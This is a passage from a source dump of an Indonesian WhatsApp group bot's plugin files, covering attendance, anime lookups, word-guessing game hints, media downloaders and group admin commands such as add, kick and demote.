id = m.chat 4 | if (id in conn.absen) { 5 | throw `_*Masih Ada Absensi Di Chat Ini!*_\n\n*${usedPrefix}hapusabsen* - Untuk Menghapus Absen` 6 | } 7 | conn.absen[id] = [ 8 | m.reply(`Berhasil Memulai Absen!\n\n*${usedPrefix}absen* - Untuk Absen\n*${usedPrefix}cekabsen* - Untuk Mengecek Absen\n*${usedPrefix}hapusabsen* - Untuk Menghapus Data Absen`), 9 | [], 10 | text 11 | ] 12 | } 13 | handler.help = ['mulaiabsen [teks]'] 14 | handler.tags = ['abs'] 15 | handler.command = /^(start|mulai)absen$/i 16 | handler.group = true 17 | handler.admin = true 18 | module.exports = handler -------------------------------------------------------------------------------- /plugins/anime-animeinfo.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async(m, { conn, text }) => { 3 | if (!text) throw `Masukkan query!` 4 | let res = await fetch(global.API('https://api.jikan.moe', '/v3/search/anime', { q: text })) 5 | if (!res.ok) throw await res.text() 6 | let json = await res.json() 7 | let { title, synopsis, episodes, url, rated, score, image_url } = json.results[0] 8 | let animeingfo = `✨️ *Title:* ${title} 9 | 🎆️ *Episodes:* ${episodes} 10 | 💌️ *Rating:* ${rated} 11 | ❤️ *Score:* ${score} 12 | 💚️ *Synopsis:* ${synopsis} 13 | 🌐️ *URL*: ${url}` 14 | conn.sendFile(m.chat, image_url, '', animeingfo, m) 15 | } 16 | handler.help = ['anime '] 17 | handler.tags = ['anime'] 18 | handler.command = /^(anime|animeinfo)$/i 19 | //maapin fatur :< 20 | module.exports = handler 21 | -------------------------------------------------------------------------------- /plugins/anime-charainfo.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async(m, { conn, text }) => { 3 | if (!text) throw `Masukkan query!` 4 | let res = await fetch(global.API('https://api.jikan.moe', '/v3/search/character', { q: text })) 5 | if (!res.ok) throw await res.text() 6 | let json = await res.json() 7 | let { name, alternative_names, url, image_url } = json.results[0] 8 | let charaingfo = `*Name:* ${name} 9 | *Nickname:* ${alternative_names} 10 | *Link*: ${url}` 11 | conn.sendFile(m.chat, image_url, '', charaingfo, m) 12 | } 13 | handler.help = ['character '] 14 | handler.tags = ['anime'] 15 | handler.command = /^(chara|character)$/i 16 | 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/anime-husbu.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, args }) => { 3 | response = args.join(' ') 4 | await conn.reply(m.chat, mess.wait, 0, { thumbnail: await(await fetch(ext.thum)).buffer(), contextInfo: { 5 | externalAdReply: { 6 | mediaUrl: 'https://youtu.be/-tKVN2mAKRI', 7 | title: ext.title, 8 | body: ext.body, 9 | thumbnail: await(await fetch(ext.thum)).buffer() 10 | } 11 | } 12 | } 13 | ) 14 | let res = await fetch(`https://recoders-area.caliph.repl.co/api/husbu?apikey=FreeApi`) 15 | let json = await res.json() 16 | conn.sendFile(m.chat, json.url, 'husbu.jpg', json.name, m, false) 17 | } 18 | handler.help = ['husbu'].map(v => v + ' ') 19 | handler.tags = ['anime'] 20 | 21 | handler.command = /^(husbu)$/i 22 | 23 | module.exports = handler -------------------------------------------------------------------------------- /plugins/anime-loli.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, args }) => { 3 | response = args.join(' ') 4 | if (!args) throw 'Masukkan Parameter' 5 | await conn.reply(m.chat, mess.wait, 0, { thumbnail: await(await fetch(ext.thum)).buffer(), contextInfo: { 6 | externalAdReply: { 7 | mediaUrl: 'https://youtu.be/-tKVN2mAKRI', 8 | title: ext.title, 9 | body: ext.body, 10 | thumbnail: await(await fetch(ext.thum)).buffer() 11 | } 12 | } 13 | } 14 | ) 15 | let res = `https://recoders-area.caliph.repl.co/api/loli?apikey=FreeApi` 16 | conn.sendFile(m.chat, res, 'loli.jpg', mess.sukses, m) 17 | } 18 | handler.help = ['loli'].map(v => v + ' ') 19 | handler.tags = ['anime'] 20 | 21 | handler.command = /^(loli)$/i 22 | 23 | module.exports = handler -------------------------------------------------------------------------------- /plugins/anime-ppwibu.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let waifu = require('nekos.life') 3 | let neko = new waifu() 4 | let handler = async (m, { conn, args }) => { 5 | kk = await neko.sfw.avatar() 6 | conn.sendFile(m.chat, kk.url, 'avatar.jpg', mess.sukses, m, false) 7 | } 8 | handler.help = ['ppwibu'] 9 | handler.tags = ['anime'] 10 | handler.command = /^ppwibu$/i 11 | handler.owner = false 12 | handler.mods = false 13 | handler.premium = false 14 | handler.group = false 15 | handler.private = false 16 | 17 | handler.admin = false 18 | handler.botAdmin = false 19 | 20 | handler.fail = null 21 | 22 | module.exports = handler -------------------------------------------------------------------------------- /plugins/anime-quotesanim.js: -------------------------------------------------------------------------------- 1 | let axios = require("axios"); 2 | let handler = async(m, { conn, text }) => { 3 | 4 | axios.get(`https://videfikri.com/api/anime/randomquoteanime`).then ((res) => { 5 | let hasil = `${res.data.result.quotes}` 6 | 7 | conn.reply(m.chat, hasil, m) 8 | }) 9 | } 10 | handler.help = ['quoteanime'] 11 | handler.tags = ['anime'] 12 | handler.command = /^(quoteanime)$/i 13 | handler.owner = false 14 | handler.mods = false 15 | handler.premium = false 16 | handler.group = false 17 | handler.private = false 18 | 19 | handler.admin = false 20 | handler.botAdmin = false 21 | 22 | handler.fail = null 23 | handler.exp = 0 24 | handler.limit = false 25 | 26 | module.exports = handler -------------------------------------------------------------------------------- /plugins/anime-waifu.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, args }) => { 3 | response = args.join(' ') 4 | if (!args) throw 'Masukkan Parameter' 5 | await conn.reply(m.chat, mess.wait, 0, { thumbnail: await(await fetch(ext.thum)).buffer(), contextInfo: { 6 | externalAdReply: { 7 | mediaUrl: 'https://youtu.be/-tKVN2mAKRI', 8 | title: ext.title, 9 | body: ext.body, 10 | thumbnail: await(await fetch(ext.thum)).buffer() 11 | } 12 | } 13 | } 14 | ) 15 | let res = `https://recoders-area.caliph.repl.co/api/waifu?apikey=FreeApi` 16 | conn.sendFile(m.chat, res, 'waifu.jpg', mess.sukses, m, false) 17 | } 18 | handler.help = ['waifu'].map(v => v + ' ') 19 | handler.tags = ['anime'] 20 | 21 | handler.command = /^(waifu)$/i 22 | 23 | module.exports = handler -------------------------------------------------------------------------------- /plugins/audio-ara.js: -------------------------------------------------------------------------------- 1 | let fs = require('fs') 2 | const { MessageType } = require('@adiwajshing/baileys') 3 | let handler = async (m) => { 4 | let ara = fs.readFileSync('./audio/Ara.mp3') 5 | conn.sendMessage(m.chat, ara, MessageType.audio, {quoted: m, mimetype: 'audio/mp4', ptt:true}) 6 | } 7 | 8 | handler.customPrefix = ['ara'] 9 | handler.tags = ['audio'] 10 | handler.command = /^(ara)$/i 11 | 12 | handler.owner = false 13 | handler.mods = false 14 | handler.premium = false 15 | handler.group = false 16 | handler.private = false 17 | 18 | module.exports = handler 19 | -------------------------------------------------------------------------------- /plugins/database-delmsg.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { command, usedPrefix, text }) => { 2 | let which = command.replace(/get/i, '') 3 | if (!text) throw `Gunakan *${usedPrefix}list${which}* untuk melihat list nya` 4 | let msgs = global.db.data.msgs 5 | if (!text in msgs) throw `'${text}' tidak terdaftar di list pesan` 6 | delete msgs[text] 7 | m.reply(`Berhasil menghapus pesan di list pesan dengan nama '${text}'`) 8 | } 9 | handler.help = ['vn', 'msg', 'video', 'audio', 'img', 'sticker'].map(v => 'del' + v + ' ') 10 | handler.tags = ['database'] 11 | handler.command = /^del(vn|msg|video|audio|img|sticker)$/ 12 | handler.owner = true 13 | handler.mods = false 14 | handler.premium = false 15 | handler.group = false 16 | handler.private = false 17 | handler.refister = false 18 | handler.admin = false 19 | handler.botAdmin = false 20 | 21 | handler.fail = null 22 | 23 | module.exports = handler 24 | -------------------------------------------------------------------------------- /plugins/database-listmsg.js: -------------------------------------------------------------------------------- 1 | let handler = m => { 2 | let msgs = global.db.data.msgs 3 | m.reply(` 4 | *LIST PESAN* 5 | 6 | ${Object.keys(msgs).map(v => '- ' + v).join('\n')} 7 | `.trim()) 8 | } 9 | handler.help = ['vn', 'msg', 'video', 'audio', 'img', 'sticker'].map(v => 'list' + v) 10 | handler.tags = ['database'] 11 | handler.command = /^list(vn|msg|video|audio|img|sticker)$/ 12 | 13 | module.exports = handler -------------------------------------------------------------------------------- /plugins/downloader-ighightlight.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, args }) => { 3 | if (!args[0]) throw 'Uhm...url nya mana?' 4 | let res = await fetch(global.API('xteam', '/dl/ighighlight', { 5 | nama: args[0] 6 | }, 'APIKEY')) 7 | let json = await res.json() 8 | if (json.result.error) throw json.result.message 9 | let { username, items } = json.result 10 | for (let { thumbnail, isVideo, url } of items) { 11 | thumbnail = await (await fetch(thumbnail)).buffer() 12 | conn.sendFile(m.chat, url, 'ig' + (isVideo ? '.mp4' : '.jpg'), `@${username}`, m, false, { 13 | thumbnail 14 | }) 15 | } 16 | } 17 | handler.help = ['ighighlight'].map(v => v + ' ') 18 | handler.tags = ['downloader'] 19 | 20 | handler.command = /^(ighighlight?)$/i 21 | 22 | module.exports = handler 23 | -------------------------------------------------------------------------------- /plugins/downloader-smule.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args }) => { 2 | if (!args[0]) throw 'Uhm...url nya mana?' 3 | global.API('xteam', '/dl/smule', { 4 | url: args[0] 5 | }, 'APIKEY') 6 | conn.sendFile(m.chat, undefined, '', '', m) 7 | } 8 | handler.help = ['smule'].map(v => v + ' ') 9 | handler.tags = ['downloader'] 10 | 11 | handler.command = /^smule$/i 12 | 13 | module.exports = handler 14 | -------------------------------------------------------------------------------- /plugins/downloader-snackvideo.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args }) => { 2 | 3 | if (!args[0]) throw 'Uhm...url nya mana?' 4 | global.API('xteam', '/dl/', { 5 | url: args[0] 6 | }, 'APIKEY') 7 | conn.sendFile(m.chat, undefined, '', '', m) 8 | } 9 | handler.help = ['snackvideo'].map(v => v + ' ') 10 | handler.tags = ['downloader'] 11 | handler.command = /^\snackvideo$/i 12 | 13 | handler.owner = false 14 | handler.mods = false 15 | handler.premium = false 16 | handler.group = false 17 | handler.private = false 18 | 19 | handler.admin = false 20 | handler.botAdmin = false 21 | 22 | handler.fail = null 23 | handler.exp = 0 24 | handler.limit = true 25 | 26 | module.exports = handler -------------------------------------------------------------------------------- /plugins/fun-jumpscare.js: -------------------------------------------------------------------------------- 1 | let fetch = require("node-fetch") 2 | let handler = async (m, { conn }) => { 3 | let res = await fetch('https://raw.githubusercontent.com/AlvioAdjiJanuar/lord/main/jumpscare.txt') 4 | let txt = await res.text() 5 | 6 | let arr = txt.split('\n') 7 | let cita = arr[Math.floor(Math.random() * arr.length)] 8 | conn.sendFile(m.chat, cita, 'asupan.mp4', 'Nih kak asupan nya!!\n*Follow:* https://instagram.com/caliph91_', m) 9 | } 10 | 11 | 12 | handler.help = ['jumpscare'] 13 | handler.tags = ['internet', 'fun'] 14 | handler.command = /^jumpscare$/i 15 | module.exports = handler 16 | // 17 | 18 | 19 | 20 | module.exports = handler -------------------------------------------------------------------------------- /plugins/fun-paling.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text, participants, usedPrefix }) => { 2 | if (!text) throw `contoh:\n${usedPrefix}paling cantik` 3 | let member = participants.map(u => u.jid) 4 | let cakep = member[Math.floor(Math.random() * member.length)] 5 | let jawab = `Yang paling ${text} disini adalah @${cakep.replace(/@.+/, '')}`.trim() 6 | let mentionedJid = [cakep] 7 | conn.reply(m.chat, jawab, m, { contextInfo: { mentionedJid } }) 8 | } 9 | handler.help = ['paling '] 10 | handler.tags = ['fun'] 11 | handler.command = /^(paling)$/i 12 | handler.owner = false 13 | handler.mods = false 14 | handler.premium = false 15 | handler.group = true 16 | handler.private = false 17 | handler.limit = false 18 | handler.admin = false 19 | handler.botAdmin = false 20 | 21 | handler.fail = null 22 | 23 | module.exports = handler -------------------------------------------------------------------------------- /plugins/fun-simi_simi.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { text }) => { 3 | let res = await fetch(global.API('xteam', '/simsimi2', { kata: text }, 'APIKEY')) 4 | if (!res.ok) throw await res.text() 5 | let json = await res.json() 6 | if (json.status) m.reply(json.result) 7 | else throw json 8 | } 9 | handler.help = ['simi', 'simsimi', 'simih'].map(v => v + ' ') 10 | handler.tags = ['fun'] 11 | handler.command = /^((sim)?simi|simih)$/i 12 | 13 | module.exports = handler 14 | 15 | -------------------------------------------------------------------------------- /plugins/fun-sindiran.js: -------------------------------------------------------------------------------- 1 | let axios = require("axios"); 2 | let handler = async(m, { conn, text }) => { 3 | 4 | axios.get(`https://kuhong-api.herokuapp.com/api/sindiran?apikey=4qk0g7Dgs2Hr-5xBdsTgQmdS4JN`).then ((res) => { 5 | let hasil = `${res.data.result}` 6 | 7 | conn.reply(m.chat, hasil, m) 8 | }) 9 | } 10 | handler.help = ['sindiran'] 11 | handler.tags = ['fun'] 12 | handler.command = /^(sindiran)$/i 13 | handler.owner = false 14 | handler.mods = false 15 | handler.premium = false 16 | handler.group = false 17 | handler.private = false 18 | 19 | handler.admin = false 20 | handler.botAdmin = false 21 | 22 | handler.fail = null 23 | handler.exp = 0 24 | handler.limit = false 25 | 26 | module.exports = handler -------------------------------------------------------------------------------- /plugins/game-asahotak_ans.js: -------------------------------------------------------------------------------- 1 | let handler = m => m 2 | handler.before = async function (m) { 3 | let id = m.chat 4 | if (!m.quoted || !m.quoted.fromMe || !m.quoted.isBaileys || !/Ketik.*hint/i.test(m.quoted.text)) return 5 | conn.asahotak = conn.asahotak ? conn.asahotak : {} 6 | if (!(id in conn.asahotak)) return m.reply('Soal itu telah berakhir') 7 | if (m.quoted.id == conn.asahotak[id][0].id) { 8 | let json = JSON.parse(JSON.stringify(conn.asahotak[id][1])) 9 | // m.reply(JSON.stringify(json, null, '\t')) 10 | if (m.text.toLowerCase() == json.jawaban.toLowerCase()) { 11 | global.db.data.users[m.sender].exp += conn.asahotak[id][2] 12 | m.reply(`*Benar!*\n+${conn.asahotak[id][2]} XP`) 13 | clearTimeout(conn.asahotak[id][3]) 14 | delete conn.asahotak[id] 15 | } else if (m.text.toLowerCase().endsWith(json.jawaban.split` `[1])) m.reply(`*Dikit Lagi!*`) 16 | else m.reply(`*Salah!*`) 17 | } 18 | } 19 | handler.exp = 0 20 | 21 | module.exports = handler 22 | -------------------------------------------------------------------------------- /plugins/game-asahotak_hint.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | conn.asahotak = conn.asahotak ? conn.asahotak : {} 3 | let id = m.chat 4 | if (!(id in conn.asahotak)) throw false 5 | let json = conn.asahotak[id][1] 6 | let ans = json.result.jawaban 7 | let clue = ans.replace(/[bcdfghjklmnpqrstvwxyz]/g, '_') 8 | m.reply('```' + clue + '```') 9 | } 10 | handler.command = /^ao$/i 11 | handler.limit = true 12 | module.exports = handler -------------------------------------------------------------------------------- /plugins/game-caklontong_hint.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | conn.caklontong = conn.caklontong ? conn.caklontong : {} 3 | let id = m.chat 4 | if (!(id in conn.caklontong)) throw false 5 | let json = conn.caklontong[id][1] 6 | let ans = json.result.jawaban 7 | let clue = ans.replace(/[bcdfghjklmnpqrstvwxyz]/g, '_') 8 | m.reply('```' + clue + '```') 9 | } 10 | handler.command = /^calo$/i 11 | handler.limit = true 12 | module.exports = handler -------------------------------------------------------------------------------- /plugins/game-dadu.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, command, text }) => { 2 | conn.reply(m.chat, ` 3 | Angka Dadu Anda : ${pickRandom(['1','2','3','4','5','6','7','8','9','10','11','12'])} 4 | Angka Dadu Bot : ${pickRandom(['1','2','3','4','5','6','7','8','9','10','11','12'])} 5 | 6 | Siapakah pemenangnya? 7 | `.trim(), m) 8 | } 9 | handler.help = ['dadu'] 10 | handler.tags = ['game'] 11 | handler.command = /^dadu/i 12 | handler.owner = false 13 | handler.mods = false 14 | handler.premium = false 15 | handler.group = false 16 | handler.private = false 17 | 18 | handler.admin = false 19 | handler.botAdmin = false 20 | 21 | handler.fail = null 22 | 23 | module.exports = handler 24 | 25 | function pickRandom(list) { 26 | return list[Math.floor(Math.random() * list.length)] 27 | } 28 | 29 | -------------------------------------------------------------------------------- /plugins/game-hint.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | conn.tebakgambar = conn.tebakgambar ? conn.tebakgambar : {} 3 | let id = m.chat 4 | if (!(id in conn.tebakgambar)) throw false 5 | let json = conn.tebakgambar[id][1] 6 | m.reply('```' + json.bantuan + '```') 7 | } 8 | handler.command = /^hint$/i 9 | 10 | module.exports = handler -------------------------------------------------------------------------------- /plugins/game-math2_answer.js: -------------------------------------------------------------------------------- 1 | let handler = m => m 2 | 3 | handler.before = async function (m) { 4 | 5 | let id = m.chat 6 | if (!m.quoted || !m.quoted.fromMe || !m.quoted.isBaileys || !/「 MATH 2 」/i.test(m.quoted.text)) return 7 | global.math2 = global.math2 ? global.math2 : {} 8 | if (!(id in global.math2)) return m.reply('Soal itu telah berakhir') 9 | if (m.quoted.id == global.math2[id][0].id) { 10 | let json = JSON.parse(JSON.stringify(global.math2[id][1])) 11 | if (m.text == json.answer) { 12 | global.db.data.users[m.sender].exp += global.math2[id][2] 13 | global.db.data.users[m.sender].limit += 5 14 | m.reply(`*Jawaban Benar!*\n+${global.math2[id][2]} XP`) 15 | clearTimeout(global.math2[id][3]) 16 | delete global.math2[id] 17 | } else m.reply(`*Jawaban Salah!*`) 18 | } 19 | } 20 | handler.exp = 0 21 | 22 | module.exports = handler 23 | -------------------------------------------------------------------------------- /plugins/game-siapakahaku_hint.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | conn.siapakahaku = conn.siapakahaku ? conn.siapakahaku : {} 3 | let id = m.chat 4 | if (!(id in conn.siapakahaku)) throw false 5 | let json = conn.siapakahaku[id][1] 6 | let clue = json.jawaban.replace(/[AIUEOaiueo]/g, '_') 7 | conn.reply(m.chat, '```' + clue + '```\nBalas soalnya, bukan pesan ini', conn.siapakahaku[id][0]) 8 | } 9 | handler.command = /^who$/i 10 | handler.limit = true 11 | module.exports = handler -------------------------------------------------------------------------------- /plugins/game-slot.js: -------------------------------------------------------------------------------- 1 | let axios = require("axios"); 2 | let handler = async(m, { conn, text }) => { 3 | 4 | axios.get(`https://api.xteam.xyz/game/virtualslot?APIKEY=MIMINETBOT`).then ((res) => { 5 | let hasil = `${res.data.map}\nHasil : ${res.data.hasil}\nScore :${res.data.score}` 6 | 7 | conn.reply(m.chat, hasil, m) 8 | }) 9 | } 10 | handler.help = ['slot'].map(v => v + ' ') 11 | handler.tags = ['game'] 12 | handler.command = /^(slot)$/i 13 | handler.owner = false 14 | handler.mods = false 15 | handler.premium = false 16 | handler.group = false 17 | handler.private = false 18 | 19 | handler.admin = false 20 | handler.botAdmin = false 21 | 22 | handler.fail = null 23 | handler.exp = 0 24 | handler.limit = true 25 | 26 | module.exports = handler -------------------------------------------------------------------------------- /plugins/game-susunkata_hint.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | conn.susunkata = conn.susunkata ? conn.susunkata : {} 3 | let id = m.chat 4 | if (!(id in conn.susunkata)) throw false 5 | let json = conn.susunkata[id][1] 6 | let ans = json.jawaban.trim() 7 | let clue = ans.replace(/[AIUEOaiueo]/g, '_') 8 | conn.reply(m.chat, '```' + clue + '```\nBalas soalnya, bukan pesan ini', conn.susunkata[id][0]) 9 | } 10 | handler.command = /^susunbantu$/i 11 | handler.limit = true 12 | module.exports = handler -------------------------------------------------------------------------------- /plugins/game-tebakanime_answer.js: -------------------------------------------------------------------------------- 1 | let handler = m => m 2 | 3 | handler.before = async function (m) { 4 | 5 | let id = m.chat 6 | if (!m.quoted || !m.quoted.fromMe || !m.quoted.isBaileys || !/「 TEBAK ANIME 」/i.test(m.quoted.text)) return 7 | conn.tebakanime = conn.tebakanime ? conn.tebakanime : {} 8 | if (!(id in conn.tebakanime)) return m.reply('Soal itu telah berakhir') 9 | if (m.quoted.id == conn.tebakanime[id][0].id) { 10 | let json = JSON.parse(JSON.stringify(conn.tebakanime[id][1])) 11 | if (m.text.toLowerCase() == json.name.toLowerCase()) { 12 | global.db.data.users[m.sender].exp += conn.tebakanime[id][2] 13 | m.reply(`*Jawaban Benar!*\n+${conn.tebakanime[id][2]} XP`) 14 | clearTimeout(conn.tebakanime[id][3]) 15 | delete conn.tebakanime[id] 16 | } else if (m.text.toLowerCase().endsWith(json.name.split` `[1])) m.reply(`*Dikit Lagi!*`) 17 | else m.reply(`*Jawaban Salah!*`) 18 | } 19 | } 20 | handler.exp = 0 21 | 22 | module.exports = handler 23 | -------------------------------------------------------------------------------- /plugins/game-tebakbendera_hint.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | conn.tebakbendera = conn.tebakbendera ? conn.tebakbendera : {} 3 | let id = m.chat 4 | if (!(id in conn.tebakbendera)) throw false 5 | let json = conn.tebakbendera[id][1] 6 | let nya = json.result.jawaban 7 | let nyanya = nya.replace(/[bcdfghjklmnpqrstvwxyz]/g, '_') 8 | m.reply('```' + nyanya + '```') 9 | } 10 | handler.command = /^tbhint$/i 11 | 12 | module.exports = handler 13 | -------------------------------------------------------------------------------- /plugins/game-tebakgambar_hint.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | conn.tebakgambar = conn.tebakgambar ? conn.tebakgambar : {} 3 | let id = m.chat 4 | if (!(id in conn.tebakgambar)) throw false 5 | let json = conn.tebakgambar[id][1] 6 | m.reply('```' + json.result.jawaban.replace(/[bcdfghjklmnpqrstvwxyz]/g, '_') + '```') 7 | } 8 | handler.command = /^hint$/i 9 | 10 | module.exports = handler -------------------------------------------------------------------------------- /plugins/game-tebakkata_hint.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | conn.tebakkata = conn.tebakkata ? conn.tebakkata : {} 3 | let id = m.chat 4 | if (!(id in conn.tebakkata)) throw false 5 | let json = conn.tebakkata[id][1] 6 | let ans = json.result.jawaban.trim() 7 | let clue = ans.replace(/[AIUEO]/g, '_') 8 | m.reply('```' + clue + '```') 9 | } 10 | handler.command = /^teka$/i 11 | handler.limit = true 12 | module.exports = handler -------------------------------------------------------------------------------- /plugins/game-tebakkimia_hint.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | conn.tebakkimia = conn.tebakkimia ? conn.tebakkimia : {} 3 | let id = m.chat 4 | if (!(id in conn.tebakkimia)) throw false 5 | let json = conn.tebakkimia[id][1] 6 | m.reply('```' + json.name.replace(/[bcdfghjklmnpqrstvwxyz]/g, '_') + '```') 7 | } 8 | handler.command = /^teki$/i 9 | handler.limit = true 10 | module.exports = handler -------------------------------------------------------------------------------- /plugins/game-tebaklagu_hint.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | conn.tebaklagu = conn.tebaklagu ? conn.tebaklagu : {} 3 | let id = m.chat 4 | if (!(id in conn.tebaklagu)) throw false 5 | let json = conn.tebaklagu[id][1] 6 | let nya = json.judul 7 | let nyanya = nya.replace(/[bcdfghjklmnpqrstvwxyz]/g, '_') 8 | m.reply('```' + nyanya + '```') 9 | } 10 | handler.command = /^cek$/i 11 | handler.limit = true 12 | module.exports = handler 13 | -------------------------------------------------------------------------------- /plugins/game-tebaktebakan_hint.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | conn.tebaktebakan = conn.tebaktebakan ? conn.tebaktebakan : {} 3 | let id = m.chat 4 | if (!(id in conn.tebaktebakan)) throw false 5 | let json = conn.tebaktebakan[id][1] 6 | let nya = json.result.jawaban 7 | let nyanya = nya.replace(/[bcdfghjklmnpqrstvwxyz]/g, '_') 8 | m.reply('```' + nyanya + '```') 9 | } 10 | handler.command = /^tthint$/i 11 | 12 | module.exports = handler 13 | -------------------------------------------------------------------------------- /plugins/game-tekateki_hint.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | conn.tekateki = conn.tekateki ? conn.tekateki : {} 3 | let id = m.chat 4 | if (!(id in conn.tekateki)) throw false 5 | let json = conn.tekateki[id][1] 6 | let ans = json.data.jawaban.trim() 7 | let clue = ans.replace(/[AIUEOaiueo]/g, '_') 8 | conn.reply(m.chat, '```' + clue + '```\nBalas soalnya, bukan pesan ini', conn.tekateki[id][0]) 9 | } 10 | handler.command = /^tete$/i 11 | handler.limit = true 12 | module.exports = handler 13 | -------------------------------------------------------------------------------- /plugins/game-twister.js: -------------------------------------------------------------------------------- 1 | let axios = require("axios"); 2 | let handler = async(m, { conn, text }) => { 3 | 4 | axios.get(`http://docs-jojo.herokuapp.com/api/tongue_twister`).then ((res) => { 5 | let hasil = `${res.data.result}` 6 | 7 | conn.reply(m.chat, hasil, m) 8 | }) 9 | } 10 | handler.help = ['twister'] 11 | handler.tags = ['game'] 12 | handler.command = /^(twister)$/i 13 | handler.owner = false 14 | handler.mods = false 15 | handler.premium = false 16 | handler.group = false 17 | handler.private = false 18 | 19 | handler.admin = false 20 | handler.botAdmin = false 21 | 22 | handler.fail = null 23 | handler.exp = 0 24 | handler.limit = false 25 | 26 | module.exports = handler 27 | -------------------------------------------------------------------------------- /plugins/group-accbang.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, isAdmin }) => { 2 | if (m.fromMe) throw 'Nggk' 3 | if (isAdmin) throw 'Padahal udah jadi admin' 4 | await conn.groupMakeAdmin(m.chat, [m.sender]) 5 | } 6 | handler.command = /^admin$/i 7 | handler.tags = ['group'] 8 | handler.owner = true 9 | handler.botAdmin = true 10 | module.exports = handler 11 | -------------------------------------------------------------------------------- /plugins/group-add.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | let users = text.split`,`.map(v => v.replace(/[^0-9]/g, '') + '@s.whatsapp.net').filter(v => v.length > 20) 3 | await conn.groupAdd(m.chat, users) 4 | } 5 | handler.help = ['add'].map(v => v + ' 62**********') 6 | handler.tags = ['group'] 7 | handler.command = /^(add|\+)$/i 8 | handler.owner = false 9 | handler.mods = false 10 | handler.premium = false 11 | handler.group = true 12 | handler.private = false 13 | 14 | handler.admin = true 15 | handler.botAdmin = true 16 | 17 | handler.fail = null 18 | handler.limit = true 19 | 20 | module.exports = handler 21 | 22 | -------------------------------------------------------------------------------- /plugins/group-afk.js: -------------------------------------------------------------------------------- 1 | let handler = (m, { text }) => { 2 | let user = global.DATABASE.data.users[m.sender] 3 | user.afk = + new Date 4 | user.afkReason = text 5 | m.reply(` 6 | *「 AFK MODE 」* 7 | 8 | ${conn.getName(m.sender)} Sekarang sedang AFK! 9 | 10 | Alasan : ${text ? '' + text : ''} 11 | `) 12 | } 13 | handler.help = ['afk '] 14 | handler.tags = ['group'] 15 | handler.command = /^afk$/i 16 | 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/group-contact.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | if (!text) return 3 | let who 4 | if (m.isGroup) who = m.mentionedJid[0] 5 | else who = m.chat 6 | if (!who) throw 'Tag Salah Satu Anggota' 7 | txt = text.replace('@' + who.split`@`[0], '').trimStart() 8 | return conn.sendContact(m.chat, who, txt || conn.getName(who), m) 9 | } 10 | handler.help = ['save'].map(v => v + ' @mention ') 11 | handler.tags = ['group'] 12 | 13 | handler.command = /^save$/ 14 | 15 | module.exports = handler 16 | -------------------------------------------------------------------------------- /plugins/group-demote.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, participants }) => { 2 | let members = participants.filter(member => member.isAdmin).map(member => member.jid) 3 | let users = m.mentionedJid.filter(user => members.includes(user)) 4 | for (let user of users) await conn.groupDemoteAdmin(m.chat, [user]).catch(console.log) 5 | conn.reply(m.chat, `Selesai`, m) 6 | } 7 | handler.help = ['demote','member'].map(v => v + ' @user') 8 | handler.tags = ['group'] 9 | 10 | handler.command = /^(demote|member)$/i 11 | 12 | handler.group = true 13 | 14 | handler.admin = true 15 | handler.botAdmin = true 16 | 17 | module.exports = handler -------------------------------------------------------------------------------- /plugins/group-getpp.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | 3 | if (!text) return conn.reply(m.chat, 'Tag Orang yang mau diambil ppnya!', m) 4 | 5 | let pp = './src/avatar_contact.png' 6 | let who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender 7 | try { 8 | pp = await conn.getProfilePicture(who) 9 | } catch (e) { 10 | 11 | } finally { 12 | let username = conn.getName(who) 13 | let str = `Nihh PPnya @${who.replace(/@.+/, '')}` 14 | let mentionedJid = [who] 15 | 16 | conn.sendFile(m.chat, pp, 'pp.jpg', str, m, false, { contextInfo: { mentionedJid }}) 17 | } 18 | } 19 | handler.help = ['getpp @user'] 20 | handler.tags = ['group'] 21 | handler.command = /^getpp$/i 22 | 23 | handler.group = true 24 | 25 | module.exports = handler 26 | -------------------------------------------------------------------------------- /plugins/group-kick.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args }) => { 2 | let fs = require('fs') 3 | let stc = fs.readFileSync('./sticker/Mintakick.webp') 4 | let ownerGroup = m.chat.split`-`[0] + '@s.whatsapp.net' 5 | let users = 